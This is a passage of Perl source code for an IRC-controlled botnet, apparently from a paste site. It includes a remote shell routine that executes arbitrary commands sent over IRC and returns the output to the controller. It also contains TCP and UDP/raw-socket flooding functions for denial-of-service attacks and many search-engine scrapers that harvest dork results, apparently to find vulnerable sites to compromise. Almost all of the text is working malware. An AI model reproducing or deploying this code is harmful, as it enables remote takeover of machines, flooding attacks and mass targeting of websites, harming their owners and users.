  1348. my $response=$ua->request($req);
  1349. if ($response->is_success) {
  1350. $re=$response->content;
  1351. }
  1352. return $re;
  1353. }
  1354.  
  1355. sub addproc {
  1356.  
  1357. my $proc=$_[0];
  1358. my $dork=$_[1];
  1359.  
  1360. open(FILE,">>/var/tmp/pids");
  1361. print FILE $proc." [".$irc_servers{$IRC_cur_socket}{'nick'}."] $dork\n";
  1362. close(FILE);
  1363. }
  1364.  
  1365.  
  1366. sub delproc {
  1367.  
  1368. my $proc=$_[0];
  1369. open(FILE,"/var/tmp/pids");
  1370.  
  1371. while(<FILE>) {
  1372. $_ =~ /(\d+)\s+(.*)/;
  1373. $childs{$1}=$2;
  1374. }
  1375. close(FILE);
  1376. delete($childs{$proc});
  1377.  
  1378. open(FILE,">/var/tmp/pids");
  1379.  
  1380. for $klucz (keys %childs) {
  1381. print FILE $klucz." ".$childs{$klucz}."\n";
  1382. }
  1383. }
  1384.  
  1385. sub shell {
  1386. my $printl=$_[0];
  1387. my $comando=$_[1];
  1388. if ($comando =~ /cd (.*)/) {
  1389. chdir("$1") || msg("$printl", "No such file or directory");
  1390. return;
  1391. } elsif ($pid = fork) {
  1392. waitpid($pid, 0);
  1393. } else {
  1394. if (fork) {
  1395. exit;
  1396. } else {
  1397. my @resp=`$comando 2>&1 3>&1`;
  1398. my $c=0;
  1399. foreach my $linha (@resp) {
  1400. $c++;
  1401. chop $linha;
  1402. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  1403. if ($c == "$linas_max") {
  1404. $c=0;
  1405. sleep $sleep;
  1406. }
  1407. }
  1408. exit;
  1409. }
  1410. }
  1411. }
  1412.  
  1413. sub tcpflooder {
  1414. my $itime = time;
  1415. my ($cur_time);
  1416. my ($ia,$pa,$proto,$j,$l,$t);
  1417. $ia=inet_aton($_[0]);
  1418. $pa=sockaddr_in($_[1],$ia);
  1419. $ftime=$_[2];
  1420. $proto=getprotobyname('tcp');
  1421. $j=0;$l=0;
  1422. $cur_time = time - $itime;
  1423. while ($l<1000){
  1424. $cur_time = time - $itime;
  1425. last if $cur_time >= $ftime;
  1426. $t="SOCK$l";
  1427. socket($t,PF_INET,SOCK_STREAM,$proto);
  1428. connect($t,$pa)||$j--;
  1429. $j++;
  1430. $l++;
  1431. }
  1432. $l=0;
  1433. while ($l<1000){
  1434. $cur_time = time - $itime;
  1435. last if $cur_time >= $ftime;
  1436. $t="SOCK$l";
  1437. shutdown($t,2);
  1438. $l++;
  1439. }
  1440. }
  1441.  
  1442. sub udpflooder {
  1443. my $iaddr = inet_aton($_[0]);
  1444. my $msg = 'A' x $_[1];
  1445. my $ftime = $_[2];
  1446. my $cp = 0;
  1447. my (%pacotes);
  1448. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1449. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1450. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1451. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1452. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1453. return(undef) if $cp == 4;
  1454. my $itime = time;
  1455. my ($cur_time);
  1456. while ( 1 ) {
  1457. for (my $porta = 1; $porta <= 65000; $porta++) {
  1458. $cur_time = time - $itime;
  1459. last if $cur_time >= $ftime;
  1460. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  1461. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  1462. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  1463. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  1464. for (my $pc = 3; $pc <= 255;$pc++) {
  1465. next if $pc == 6;
  1466. $cur_time = time - $itime;
  1467. last if $cur_time >= $ftime;
  1468. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1469. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  1470. }
  1471. }
  1472. last if $cur_time >= $ftime;
  1473. }
  1474. return($cur_time, %pacotes);
  1475. }
  1476.  
  1477. sub ctcp {
  1478. return unless $#_ == 1;
  1479. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  1480. }
  1481.  
  1482. sub msg {
  1483. return unless $#_ == 1;
  1484. sendraw("PRIVMSG $_[0] :$_[1]");
  1485. }
  1486.  
  1487. sub notice {
  1488. return unless $#_ == 1;
  1489. sendraw("NOTICE $_[0] :$_[1]");
  1490. }
  1491.  
  1492. sub op {
  1493. return unless $#_ == 1;
  1494. sendraw("MODE $_[0] +o $_[1]");
  1495. }
  1496.  
  1497. sub deop {
  1498. return unless $#_ == 1;
  1499. sendraw("MODE $_[0] -o $_[1]");
  1500. }
  1501.  
  1502. sub j {
  1503. &join(@_);
  1504. }
  1505.  
  1506. sub join {
  1507. return unless $#_ == 0;
  1508. sendraw("JOIN $_[0]");
  1509. }
  1510.  
  1511. sub p {
  1512. part(@_);
  1513. }
  1514.  
  1515. sub part {
  1516. sendraw("PART $_[0]");
  1517. }
  1518.  
  1519. sub nick {
  1520. return unless $#_ == 0;
  1521. sendraw("NICK $_[0]");
  1522. }
  1523.  
  1524. sub quit {
  1525. sendraw("QUIT :$_[0]");
  1526. }
  1527.  
  1528. sub fetch(){
  1529. my $rnd=(int(rand(9999)));
  1530. my $n= 80;
  1531. if ($rnd<5000) {
  1532. $n<<=1;
  1533. }
  1534. my $s= (int(rand(10)) * $n);
  1535. my @dominios = ("removed-them-all");
  1536. my @str;
  1537. foreach $dom (@dominios){
  1538. push (@str,"@gstring");
  1539. }
  1540. my $query="www.google.com/search?q=";
  1541. $query.=$str[(rand(scalar(@str)))];
  1542. $query.="&num=$n&start=$s";
  1543. my @lst=();
  1544. sendraw("privmsg #debug :DEBUG only test googling: ".$query."");
  1545. my $page = http_query($query);
  1546. while ($page =~ m/<a href=\"?http:\/\/([^>\"]+)\"? class=l>/g){
  1547. if ($1 !~ m/google|cache|translate/){
  1548. push (@lst,$1);
  1549. }
  1550. }
  1551. return (@lst);
  1552.  
  1553. sub yahoo(){
  1554. my @lst;
  1555. my $key = $_[0];
  1556. for($b=1;$b<=1000;$b+=100){
  1557. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1558. my $Res=query($Ya);
  1559. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1560. my $k=$1;
  1561. $k=~s/<b>//g;
  1562. $k=~s/<\/b>//g;
  1563. $k=~s/<wbr>//g;
  1564. my @grep=links($k);
  1565. push(@lst,@grep);
  1566. }}
  1567. return @lst;
  1568. }
  1569.  
  1570. sub msn(){
  1571. my @lst;
  1572. my $key = $_[0];
  1573. for($b=1;$b<=1000;$b+=10){
  1574. my $msn=("http://search.msn.de/results.aspx?q=".key($key)."&first=".$b."&FORM=PORE");
  1575. my $Res=query($msn);
  1576. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1577. if($1 !~ /msn|live/){
  1578. my $k=$1;
  1579. my @grep=links($k);
  1580. push(@lst,@grep);
  1581. }}}
  1582. return @lst;
  1583. }
  1584.  
  1585. sub lycos(){
  1586. my $inizio=0;
  1587. my $pagine=20;
  1588. my $key=$_[0];
  1589. my $av=0;
  1590. my @lst;
  1591. while($inizio <= $pagine){
  1592. my $lycos="http://search.lycos.com/?query=".key($key)."&page=$av";
  1593. my $Res=query($lycos);
  1594. while ($Res=~ m/<span class=\"?grnLnk small\"?>http:\/\/(.+?)\//g ){
  1595. my $k="$1";
  1596. my @grep=links($k);
  1597. push(@lst,@grep);
  1598. }
  1599. $inizio++;
  1600. $av++;
  1601. }
  1602. return @lst;
  1603. }
  1604.  
  1605. #####
  1606. sub aol(){
  1607. my @lst;
  1608. my $key = $_[0];
  1609. for($b=1;$b<=100;$b++){
  1610. my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
  1611. my $Res=query($AoL);
  1612. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  1613. my $k=$1;
  1614. my @grep=links($k);
  1615. push(@lst,@grep);
  1616. }}
  1617. return @lst;
  1618. }
  1619. #####
  1620. sub ask(){
  1621. my @lst;
  1622. my $key=$_[0];
  1623. my $i=0;
  1624. my $pg=0;
  1625. for($i=0; $i<=1000; $i+=10)
  1626. {
  1627. my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
  1628. my $Res=query($Ask);
  1629. while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\"onmousedown/g){
  1630. my $k=$3;
  1631. $k=~s/[\"\ ]//g;
  1632. my @grep=links($k);
  1633. push(@lst,@grep);
  1634. }}
  1635. return @lst;
  1636. }
  1637. #####
  1638. sub alltheweb()
  1639. {
  1640. my @lst;
  1641. my $key=$_[0];
  1642. my $i=0;
  1643. my $pg=0;
  1644. for($i=0; $i<=1000; $i+=100)
  1645. {
  1646. my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
  1647. my $Res=query($all);
  1648. while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
  1649. my $k=$1;
  1650. $k=~s/ //g;
  1651. my @grep=links($k);
  1652. push(@lst,@grep);
  1653. }}
  1654. return @lst;
  1655. }
  1656.  
  1657. sub google(){
  1658. my @lst;
  1659. my $key = $_[0];
  1660. for($b=0;$b<=100;$b+=100){
  1661. my $Go=("http://www.google.it/search?hl=it&q=".key($key)."&num=100&filter=0&start=".$b);
  1662. my $Res=query($Go);
  1663. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1664. if ($1 !~ /google/){
  1665. my $k=$1;
  1666. my @grep=links($k);
  1667. push(@lst,@grep);
  1668. }}}
  1669. return @lst;
  1670. }
  1671.  
  1672. #####
  1673. # SUBS SEARCH
  1674. #####
  1675. sub search(){
  1676. my @lst;
  1677. my $key = $_[0];
  1678. for($b=0;$b<=1000;$b+=100){
  1679. my $ser=("http://www.search.com/search?q=".key($key)."".$b);
  1680. my $Res=query($ser);
  1681. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1682. if ($1 !~ /msn|live|google|yahoo/){
  1683. my $k=$1;
  1684. my @grep=links($k);
  1685. push(@lst,@grep);
  1686. }}}
  1687. return @lst;
  1688. }
  1689.  
  1690. #####
  1691. # SUBS FireBall
  1692. #####
  1693. sub fireball(){
  1694. my $key=$_[0];
  1695. my $inicio=1;
  1696. my $pagina=200;
  1697. my @lst;
  1698. my $av=0;
  1699. while($inicio <= $pagina){
  1700. my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
  1701. my $Res=query($fireball);
  1702. while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
  1703. if ($1 !~ /msn|live|google|yahoo/){
  1704. my $k="$1/";
  1705. my @grep=links($k);
  1706. push(@lst,@grep);
  1707. }}
  1708. $av=$av+10;
  1709. $inicio++;
  1710. }
  1711. return @lst;
  1712. }
  1713. #####
  1714. # SUBS UOL
  1715. #####
  1716. sub uol(){
  1717. my @lst;
  1718. my $key = $_[0];
  1719. for($b=1;$b<=1000;$b+=10){
  1720. my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
  1721. my $Res=query($UoL);
  1722. while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
  1723. my $k=$1;
  1724. if($k!~/busca|uol|yahoo/){
  1725. my $k=$1;
  1726. my @grep=links($k);
  1727. push(@lst,@grep);
  1728. }}}
  1729. return @lst;
  1730. }
  1731.  
  1732. #####
  1733. # Altavista
  1734. #####
  1735. sub altavista(){
  1736. my @lst;
  1737. my $key = $_[0];
  1738. for($b=1;$b<=1000;$b+=10){
  1739. my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1740. my $Res=query($AlT);
  1741. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1742. if($1 !~ /altavista/){
  1743. my $k=$1;
  1744. $k=~s/<//g;
  1745. $k=~s/ //g;
  1746. my @grep=links($k);
  1747. push(@lst,@grep);
  1748. }}}
  1749. return @lst;
  1750. }
  1751.  
  1752. sub altavistade(){
  1753. my @lst;
  1754. my $key = $_[0];
  1755. for($b=1;$b<=1000;$b+=10){
  1756. my $AlT=("http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1757. my $Res=query($AlT);
  1758. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1759. if($1 !~ /altavista/){
  1760. my $k=$1;
  1761. $k=~s/<//g;
  1762. $k=~s/ //g;
  1763. my @grep=links($k);
  1764. push(@lst,@grep);
  1765. }}}
  1766. return @lst;
  1767. }
  1768.  
  1769. sub altavistaus(){
  1770. my @lst;
  1771. my $key = $_[0];
  1772. for($b=1;$b<=1000;$b+=10){
  1773. my $AlT=("http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1774. my $Res=query($AlT);
  1775. while($Res=~m/<span class=ngrn>(.+?)\//g){
  1776. if($1 !~ /altavista/){
  1777. my $k=$1;
  1778. $k=~s/<//g;
  1779. $k=~s/ //g;
  1780. my @grep=links($k);
  1781. push(@lst,@grep);
  1782. }}}
  1783. return @lst;
  1784. }
  1785.  
  1786. #####
  1787. # HotBot
  1788. #####
  1789. sub hotbot(){
  1790. my @lst;
  1791. my $key = $_[0];
  1792. for($b=0;$b<=1000;$b+=100){
  1793. my $hot=("http://search.hotbot.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=hb_loc&enc=utf-8".$b);
  1794. my $Res=query($hot);
  1795. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1796. if ($1 !~ /msn|live|google|yahoo/){
  1797. my $k=$1;
  1798. my @grep=links($k);
  1799. push(@lst,@grep);
  1800. }}}
  1801. return @lst;
  1802. }
  1803.  
  1804.  
  1805. #####
  1806. # Mamma
  1807. #####
  1808. sub mamma(){
  1809. my @lst;
  1810. my $key = $_[0];
  1811. for($b=0;$b<=1000;$b+=100){
  1812. my $mam=("http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=".key($key)."".$b);
  1813. my $Res=query($mam);
  1814. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1815. if ($1 !~ /msn|live|google|yahoo/){
  1816. my $k=$1;
  1817. my @grep=links($k);
  1818. push(@lst,@grep);
  1819. }}}
  1820. return @lst;
  1821. }
  1822.  
  1823. #####
  1824. # MozBot
  1825. #####
  1826. sub mozbot()
  1827. {
  1828. my @lst;
  1829. my $key=$_[0];
  1830. my $i=0;
  1831. my $pg=0;
  1832. for($i=0; $i<=100; $i+=1){
  1833. my $mozbot=("http://www.mozbot.fr/search?q=".key($key)."&st=int&page=".$i);
  1834. my $Res=query($mozbot);
  1835. while($Res =~ m/<a href=\"?http:\/\/(.+?)\" target/g){
  1836. my $k=$1;
  1837. $k=~s/ //g;
  1838. my @grep=links($k);
  1839. push(@lst,@grep);
  1840. }}
  1841. return @lst;
  1842. }
  1843.  
  1844. sub links()
  1845. {
  1846. my @l;
  1847. my $link=$_[0];
  1848. my $host=$_[0];
  1849. my $hdir=$_[0];
  1850. $hdir=~s/(.*)\/[^\/]*$/\1/;
  1851. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1852. $host.="/";
  1853. $link.="/";
  1854. $hdir.="/";
  1855. $host=~s/\/\//\//g;
  1856. $hdir=~s/\/\//\//g;
  1857. $link=~s/\/\//\//g;
  1858. push(@l,$link,$host,$hdir);
  1859. return @l;
  1860. }
  1861.  
  1862. sub geths(){
  1863. my $host=$_[0];
  1864. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1865. return $host;
  1866. }
  1867.  
  1868. sub key(){
  1869. my $chiave=$_[0];
  1870. $chiave =~ s/ /\+/g;
  1871. $chiave =~ s/:/\%3A/g;
  1872. $chiave =~ s/\//\%2F/g;
  1873. $chiave =~ s/&/\%26/g;
  1874. $chiave =~ s/\"/\%22/g;
  1875. $chiave =~ s/,/\%2C/g;
  1876. $chiave =~ s/\\/\%5C/g;
  1877. return $chiave;
  1878. }
  1879.  
  1880. sub query($){
  1881. my $url=$_[0];
  1882. $url=~s/http:\/\///;
  1883. my $host=$url;
  1884. my $query=$url;
  1885. my $page="";
  1886. $host=~s/href=\"?http:\/\///;
  1887. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1888. $query=~s/$host//;
  1889. if ($query eq "") {$query="/";};
  1890. eval {
  1891. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1892. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1893. my @r = <$sock>;
  1894. $page="@r";
  1895. close($sock);
  1896. };
  1897. return $page;
  1898. }
  1899.  
  1900. sub unici{
  1901. my @unici = ();
  1902. my %visti = ();
  1903. foreach my $elemento ( @_ )
  1904. {
  1905. next if $visti{ $elemento }++;
  1906. push @unici, $elemento;
  1907. }
  1908. return @unici;
  1909. }
  1910.  
  1911. sub http_query($){
  1912. my ($url) = @_;
  1913. my $host=$url;
  1914. my $query=$url;
  1915. my $page="";
  1916. $host =~ s/href=\"?http:\/\///;
  1917. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1918. $query =~s/$host//;
  1919. if ($query eq "") {$query="/";};
  1920. eval {
  1921. local $SIG{ALRM} = sub { die "1";};
  1922. alarm 10;
  1923. my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  1924. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1925. my @r = <$sock>;
  1926. $page="@r";
  1927. alarm 0;
  1928. close($sock);
  1929. };
  1930. return $page;
  1931. }}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement